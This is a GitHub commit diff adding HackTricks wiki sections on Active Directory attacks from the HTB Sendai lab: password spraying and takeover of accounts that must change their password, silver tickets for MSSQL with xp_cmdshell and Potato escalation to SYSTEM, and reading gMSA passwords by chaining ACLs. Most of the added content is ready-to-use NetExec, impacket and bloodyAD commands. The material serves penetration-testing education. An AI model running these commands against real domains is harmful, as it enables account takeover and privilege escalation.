Skip to content

Commit d4cf02b

Browse files
authored
Merge pull request #1363 from HackTricks-wiki/update_HTB_Sendai__From_password_spray_to_gMSA_dump__then_20250828_183418
HTB Sendai From password spray to gMSA dump, then ADCS ESC4 ...
2 parents f4322c5 + 520e7ee commit d4cf02b

4 files changed

Lines changed: 125 additions & 7 deletions

File tree

src/windows-hardening/active-directory-methodology/kerberos-authentication.md

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,3 @@
55
**Check the amazing post from:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
66

77
{{#include ../../banners/hacktricks-training.md}}
8-
9-
10-

src/windows-hardening/active-directory-methodology/password-spraying.md

Lines changed: 40 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -103,6 +103,44 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
103103
Invoke-SprayEmptyPassword
104104
```
105105

106+
### Identify and Take Over "Password must change at next logon" Accounts (SAMR)
107+
108+
A low-noise technique is to spray a benign/empty password and catch accounts returning STATUS_PASSWORD_MUST_CHANGE, which indicates the password was forcibly expired and can be changed without knowing the old one.
109+
110+
Workflow:
111+
- Enumerate users (RID brute via SAMR) to build the target list:
112+
113+
{{#ref}}
114+
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
115+
{{#endref}}
116+
117+
```bash
118+
# NetExec (null/guest) + RID brute to harvest users
119+
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
120+
```
121+
122+
- Spray an empty password and keep going on hits to capture accounts that must change at next logon:
123+
124+
```bash
125+
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
126+
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
127+
```
128+
129+
- For each hit, change the password over SAMR with NetExec’s module (no old password needed when "must change" is set):
130+
131+
```bash
132+
# Strong complexity to satisfy policy
133+
env NEWPASS='P@ssw0rd!2025#' ; \
134+
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
135+
136+
# Validate and retrieve domain password policy with the new creds
137+
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
138+
```
139+
140+
Operational notes:
141+
- Ensure your host clock is in sync with the DC before Kerberos-based operations: `sudo ntpdate <dc_fqdn>`.
142+
- A [+] without (Pwn3d!) in some modules (e.g., RDP/WinRM) means the creds are valid but the account lacks interactive logon rights.
143+
106144
## Brute Force
107145

108146
```bash
@@ -226,6 +264,7 @@ To use any of these tools, you need a user list and a password / a small list of
226264
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
227265
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
228266
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
267+
- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
229268

230269

231-
{{#include ../../banners/hacktricks-training.md}}
270+
{{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/silver-ticket.md

Lines changed: 38 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,42 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
4343

4444
The CIFS service is highlighted as a common target for accessing the victim's file system, but other services like HOST and RPCSS can also be exploited for tasks and WMI queries.
4545

46+
### Example: MSSQL service (MSSQLSvc) + Potato to SYSTEM
47+
48+
If you have the NTLM hash (or AES key) of a SQL service account (e.g., sqlsvc) you can forge a TGS for the MSSQL SPN and impersonate any user to the SQL service. From there, enable xp_cmdshell to execute commands as the SQL service account. If that token has SeImpersonatePrivilege, chain a Potato to elevate to SYSTEM.
49+
50+
```bash
51+
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
52+
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
53+
-spn MSSQLSvc/<host.fqdn>:1433 administrator
54+
export KRB5CCNAME=$PWD/administrator.ccache
55+
56+
# Connect to SQL using Kerberos and run commands via xp_cmdshell
57+
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
58+
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
59+
```
60+
61+
- If the resulting context has SeImpersonatePrivilege (often true for service accounts), use a Potato variant to get SYSTEM:
62+
63+
```bash
64+
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
65+
PrintSpoofer.exe -c "cmd /c whoami"
66+
# or
67+
GodPotato -cmd "cmd /c whoami"
68+
```
69+
70+
More details on abusing MSSQL and enabling xp_cmdshell:
71+
72+
{{#ref}}
73+
abusing-ad-mssql.md
74+
{{#endref}}
75+
76+
Potato techniques overview:
77+
78+
{{#ref}}
79+
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
80+
{{#endref}}
81+
4682
## Available Services
4783

4884
| Service Type | Service Silver Tickets |
@@ -167,9 +203,8 @@ dcsync.md
167203
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
168204
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
169205
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
206+
- [HTB Sendai – 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
170207

171208

172209

173-
{{#include ../../banners/hacktricks-training.md}}
174-
175-
210+
{{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/authentication-credentials-uac-and-efs/README.md

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -169,6 +169,47 @@ You can read this password with [**GMSAPasswordReader**](https://github.com/rvaz
169169
170170
Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
171171
172+
### Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword)
173+
174+
In many environments, low-privileged users can pivot to gMSA secrets without DC compromise by abusing misconfigured object ACLs:
175+
176+
- A group you can control (e.g., via GenericAll/GenericWrite) is granted `ReadGMSAPassword` over a gMSA.
177+
- By adding yourself to that group, you inherit the right to read the gMSA’s `msDS-ManagedPassword` blob over LDAP and derive usable NTLM credentials.
178+
179+
Typical workflow:
180+
181+
1) Discover the path with BloodHound and mark your foothold principals as Owned. Look for edges like:
182+
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
183+
184+
2) Add yourself to the intermediate group you control (example with bloodyAD):
185+
186+
```bash
187+
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
188+
```
189+
190+
3) Read the gMSA managed password via LDAP and derive the NTLM hash. NetExec automates the extraction of `msDS-ManagedPassword` and conversion to NTLM:
191+
192+
```bash
193+
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
194+
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
195+
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
196+
```
197+
198+
4) Authenticate as the gMSA using the NTLM hash (no plaintext needed). If the account is in Remote Management Users, WinRM will work directly:
199+
200+
```bash
201+
# SMB / WinRM as the gMSA using the NT hash
202+
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
203+
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
204+
```
205+
206+
Notes:
207+
- LDAP reads of `msDS-ManagedPassword` require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically.
208+
- gMSAs are often granted local rights like WinRM; validate group membership (e.g., Remote Management Users) to plan lateral movement.
209+
- If you only need the blob to compute the NTLM yourself, see MSDS-MANAGEDPASSWORD_BLOB structure.
210+
211+
212+
172213
## LAPS
173214
174215
The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), enables the management of local Administrator passwords. These passwords, which are **randomized**, unique, and **regularly changed**, are stored centrally in Active Directory. Access to these passwords is restricted through ACLs to authorized users. With sufficient permissions granted, the ability to read local admin passwords is provided.
@@ -269,4 +310,10 @@ The SSPI will be in charge of finding the adequate protocol for two machines tha
269310
uac-user-account-control.md
270311
{{#endref}}
271312
313+
## References
314+
315+
- [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
316+
- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
317+
- [HTB Sendai – 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
318+
272319
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)